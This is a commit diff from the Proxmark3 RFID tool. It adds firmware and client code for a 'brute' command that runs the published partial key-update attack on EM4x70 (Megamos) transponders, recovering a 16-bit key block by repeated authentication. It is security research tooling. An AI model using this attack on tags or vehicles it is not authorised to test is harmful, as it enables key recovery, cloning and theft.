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https://github.com/RfidResearchGroup/proxmark3.git
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Add function to brute force partial key
This commit is contained in:
Adrian Teuscher
parent
08930766cb
commit
71389e0b17
7 changed files with 211 additions and 6 deletions
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@ -1221,6 +1221,10 @@ static void PacketReceived(PacketCommandNG *packet) {
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em4x70_write_key((em4x70_data_t *)packet->data.asBytes, true);
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break;
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}
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case CMD_LF_EM4X70_BRUTE: {
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em4x70_brute((em4x70_data_t *)packet->data.asBytes, true);
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break;
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}
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#endif
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#ifdef WITH_ZX8211
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106
armsrc/em4x70.c
106
armsrc/em4x70.c
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@ -21,6 +21,7 @@
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#include "dbprint.h"
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#include "lfadc.h"
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#include "commonutil.h"
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#include "optimized_cipherutils.h"
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#include "em4x70.h"
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#include "appmain.h" // tear
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@ -85,7 +86,7 @@ static int em4x70_receive(uint8_t *bits, size_t length);
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static bool find_listen_window(bool command);
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static void init_tag(void) {
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memset(tag.data, 0x00, ARRAYLEN(tag.data));
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memset(tag.data, 0x00, sizeof(tag.data));
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}
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static void em4x70_setup_read(void) {
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@ -298,14 +299,14 @@ static bool check_ack(void) {
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// returns true if signal structue corresponds to ACK, anything else is
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// counted as NAK (-> false)
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// ACK 64 + 64
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// NACK 64 + 48
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// NAK 64 + 48
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if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) &&
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check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) {
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// ACK
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return true;
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}
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// Othewise it was a NACK or Listen Window
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// Otherwise it was a NAK or Listen Window
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return false;
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}
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@ -339,7 +340,7 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon
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uint8_t grnd[EM4X70_MAX_RECEIVE_LENGTH] = {0};
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int num = em4x70_receive(grnd, 20);
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if (num < 20) {
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Dbprintf("Auth failed");
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if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed");
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return PM3_ESOFT;
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}
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bits2bytes(grnd, 24, response);
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@ -349,6 +350,80 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon
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return PM3_ESOFT;
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}
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static int set_byte(uint8_t *target, int value) {
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int c = value > 0xFF;
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*target = reflect8(value);
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return c;
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}
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static int bruteforce(const uint8_t address, const uint8_t *rnd, const uint8_t *frnd, uint16_t start_key, uint8_t *response) {
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uint8_t auth_resp[3] = {0};
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uint8_t rev_rnd[7];
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uint8_t temp_rnd[7];
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reverse_arraycopy((uint8_t *)rnd, rev_rnd, sizeof(rnd));
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memcpy(temp_rnd, rnd, sizeof(temp_rnd));
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for (int k = start_key; k <= 0xFFFF; ++k) {
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int c = 0;
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WDT_HIT();
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uint16_t rev_k = reflect16(k);
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switch (address) {
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case 9:
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c = set_byte(&temp_rnd[0], rev_rnd[0] + (rev_k & 0xFF));
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c = set_byte(&temp_rnd[1], rev_rnd[1] + c + ((rev_k >> 8) & 0xFF));
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c = set_byte(&temp_rnd[2], rev_rnd[2] + c);
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c = set_byte(&temp_rnd[3], rev_rnd[3] + c);
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c = set_byte(&temp_rnd[4], rev_rnd[4] + c);
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c = set_byte(&temp_rnd[5], rev_rnd[5] + c);
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set_byte(&temp_rnd[6], rev_rnd[6] + c);
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break;
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case 8:
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c = set_byte(&temp_rnd[2], rev_rnd[2] + (rev_k & 0xFF));
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c = set_byte(&temp_rnd[3], rev_rnd[3] + c + ((rev_k >> 8) & 0xFF));
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c = set_byte(&temp_rnd[4], rev_rnd[4] + c);
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c = set_byte(&temp_rnd[5], rev_rnd[5] + c);
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set_byte(&temp_rnd[6], rev_rnd[6] + c);
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break;
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case 7:
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c = set_byte(&temp_rnd[4], rev_rnd[4] + (rev_k & 0xFF));
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c = set_byte(&temp_rnd[5], rev_rnd[5] + c + ((rev_k >> 8) & 0xFF));
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set_byte(&temp_rnd[6], rev_rnd[6] + c);
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break;
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default:
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Dbprintf("Bad block number given: %d", address);
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return PM3_ESOFT;
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}
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// Report progress every 256 attempts
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if ((k % 0x100) == 0) {
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Dbprintf("Trying: %04X", k);
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}
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// Due to performance reason, we only try it once. Therefore you need a very stable RFID communcation.
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if (authenticate(temp_rnd, frnd, auth_resp) == PM3_SUCCESS) {
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if (g_dbglevel >= DBG_INFO)
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Dbprintf("Authentication success with rnd: %02X%02X%02X%02X%02X%02X%02X", temp_rnd[0], temp_rnd[1], temp_rnd[2], temp_rnd[3], temp_rnd[4], temp_rnd[5], temp_rnd[6]);
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response[0] = (k >> 8) & 0xFF;
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response[1] = k & 0xFF;
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return PM3_SUCCESS;
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}
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if (BUTTON_PRESS() || data_available()) {
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Dbprintf("EM4x70 Bruteforce Interrupted");
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return PM3_EOPABORTED;
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}
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}
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return PM3_ESOFT;
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}
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static int send_pin(const uint32_t pin) {
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// sends pin code for unlocking
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@ -576,7 +651,7 @@ static int em4x70_receive(uint8_t *bits, size_t length) {
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}
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if (!foundheader) {
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Dbprintf("Failed to find read header");
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if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Failed to find read header");
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return 0;
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}
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@ -738,6 +813,27 @@ void em4x70_auth(em4x70_data_t *etd, bool ledcontrol) {
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reply_ng(CMD_LF_EM4X70_AUTH, status, response, sizeof(response));
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}
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void em4x70_brute(em4x70_data_t *etd, bool ledcontrol) {
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uint8_t status = 0;
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uint8_t response[2] = {0};
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command_parity = etd->parity;
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init_tag();
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em4x70_setup_read();
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// Find the Tag
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if (get_signalproperties() && find_em4x70_tag()) {
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// Bruteforce partial key
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status = bruteforce(etd->address, etd->rnd, etd->frnd, etd->start_key, response) == PM3_SUCCESS;
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}
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StopTicks();
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lf_finalize(ledcontrol);
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reply_ng(CMD_LF_EM4X70_BRUTE, status, response, sizeof(response));
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}
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void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol) {
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uint8_t status = 0;
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@ -32,6 +32,7 @@ typedef enum {
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void em4x70_info(em4x70_data_t *etd, bool ledcontrol);
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void em4x70_write(em4x70_data_t *etd, bool ledcontrol);
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void em4x70_brute(em4x70_data_t *etd, bool ledcontrol);
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void em4x70_unlock(em4x70_data_t *etd, bool ledcontrol);
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void em4x70_auth(em4x70_data_t *etd, bool ledcontrol);
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void em4x70_write_pin(em4x70_data_t *etd, bool ledcontrol);
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@ -200,7 +200,7 @@ int CmdEM4x70Write(const char *Cmd) {
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}
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etd.address = (uint8_t) addr;
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etd.word = BYTES2UINT16(word);;
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etd.word = BYTES2UINT16(word);
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clearCommandBuffer();
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SendCommandNG(CMD_LF_EM4X70_WRITE, (uint8_t *)&etd, sizeof(etd));
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@ -220,6 +220,104 @@ int CmdEM4x70Write(const char *Cmd) {
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return PM3_ESOFT;
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}
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int CmdEM4x70Brute(const char *Cmd) {
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// From paper "Dismantling Megamos Crypto", Roel Verdult, Flavio D. Garcia and Barıs¸ Ege.
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// Partial Key-Update Attack (optimized version)
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em4x70_data_t etd = {0};
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CLIParserContext *ctx;
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CLIParserInit(&ctx, "lf em 4x70 brute",
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"Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70\n"
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"This attack does NOT write anything to the tag.\n"
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"Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n"
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"After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n",
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"lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80\n"
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);
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void *argtable[] = {
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arg_param_begin,
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arg_lit0(NULL, "par", "Add parity bit when sending commands"),
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arg_int1("b", "block", "<dec>", "block/word address, dec"),
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arg_str1(NULL, "rnd", "<hex>", "Random 56-bit"),
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arg_str1(NULL, "frn", "<hex>", "F(RN) 28-bit as 4 hex bytes"),
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arg_str0("s", "start", "<hex>", "Start bruteforce enumeration from this key value"),
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arg_param_end
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};
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CLIExecWithReturn(ctx, Cmd, argtable, true);
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etd.parity = arg_get_lit(ctx, 1);
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int addr = arg_get_int_def(ctx, 2, 0);
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if (addr < 7 || addr > 9) {
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PrintAndLogEx(FAILED, "block has to be within range [7, 9] got: %d", addr);
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return PM3_EINVARG;
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}
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etd.address = (uint8_t) addr;
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int rnd_len = 7;
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CLIGetHexWithReturn(ctx, 3, etd.rnd, &rnd_len);
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int frnd_len = 4;
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CLIGetHexWithReturn(ctx, 4, etd.frnd, &frnd_len);
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uint32_t start_key = 0;
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int res = arg_get_u32_hexstr_def_nlen(ctx, 5, 0, &start_key, 2, true);
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if (res == 2) {
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CLIParserFree(ctx);
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PrintAndLogEx(WARNING, "start key parameter must be in range [0, FFFF]");
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return PM3_EINVARG;
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}
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etd.start_key = start_key;
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CLIParserFree(ctx);
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if (rnd_len != 7) {
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PrintAndLogEx(FAILED, "Random number length must be 7 bytes instead of %d", rnd_len);
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return PM3_EINVARG;
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}
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if (frnd_len != 4) {
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PrintAndLogEx(FAILED, "F(RN) length must be 4 bytes instead of %d", frnd_len);
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return PM3_EINVARG;
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}
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PrintAndLogEx(INFO, "click " _GREEN_("pm3 button") " or press " _GREEN_("Enter") " to exit");
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clearCommandBuffer();
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PacketResponseNG resp;
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SendCommandNG(CMD_LF_EM4X70_BRUTE, (uint8_t *)&etd, sizeof(etd));
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uint32_t timeout = 0;
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for (;;) {
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if (kbd_enter_pressed()) {
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SendCommandNG(CMD_BREAK_LOOP, NULL, 0);
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PrintAndLogEx(DEBUG, "User aborted");
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break;
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}
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if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) {
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if (resp.status) {
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// Response is 16-bit partial key
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PrintAndLogEx(INFO, "Partial Key Response: %02X %02X", resp.data.asBytes[0], resp.data.asBytes[1]);
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return PM3_SUCCESS;
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}
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break;
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}
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// should be done in about 30 minutes
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if (timeout > ((30 * 60000) / TIMEOUT)) {
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PrintAndLogEx(WARNING, "\nNo response from Proxmark3. Aborting...");
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break;
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}
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timeout++;
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}
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PrintAndLogEx(FAILED, "Bruteforce of partial key " _RED_("failed"));
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return PM3_ESOFT;
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}
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int CmdEM4x70Unlock(const char *Cmd) {
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// send pin code to device, unlocking it for writing
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@ -452,6 +550,7 @@ int CmdEM4x70WriteKey(const char *Cmd) {
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static command_t CommandTable[] = {
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{"help", CmdHelp, AlwaysAvailable, "This help"},
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{"brute", CmdEM4x70Brute, IfPm3EM4x70, "Bruteforce EM4X70 to find partial Crypt Key"},
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{"info", CmdEM4x70Info, IfPm3EM4x70, "Tag information EM4x70"},
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{"write", CmdEM4x70Write, IfPm3EM4x70, "Write EM4x70"},
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{"unlock", CmdEM4x70Unlock, IfPm3EM4x70, "Unlock EM4x70 for writing"},
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@ -26,6 +26,7 @@
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int CmdLFEM4X70(const char *Cmd);
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int CmdEM4x70Info(const char *Cmd);
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int CmdEM4x70Write(const char *Cmd);
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int CmdEM4x70Brute(const char *Cmd);
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int CmdEM4x70Unlock(const char *Cmd);
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int CmdEM4x70Auth(const char *Cmd);
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int CmdEM4x70WritePIN(const char *Cmd);
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@ -42,6 +42,9 @@ typedef struct {
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// Used to write new key
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uint8_t crypt_key[12];
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// used for bruteforce the partial key
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uint16_t start_key;
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} em4x70_data_t;
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#endif /* EM4X70_H__ */
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@ -484,6 +484,7 @@ typedef struct {
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#define CMD_LF_EM4X70_AUTH 0x0263
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#define CMD_LF_EM4X70_WRITEPIN 0x0264
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#define CMD_LF_EM4X70_WRITEKEY 0x0265
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#define CMD_LF_EM4X70_BRUTE 0x0266
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// Sampling configuration for LF reader/sniffer
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#define CMD_LF_SAMPLING_SET_CONFIG 0x021D
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#define CMD_LF_FSK_SIMULATE 0x021E
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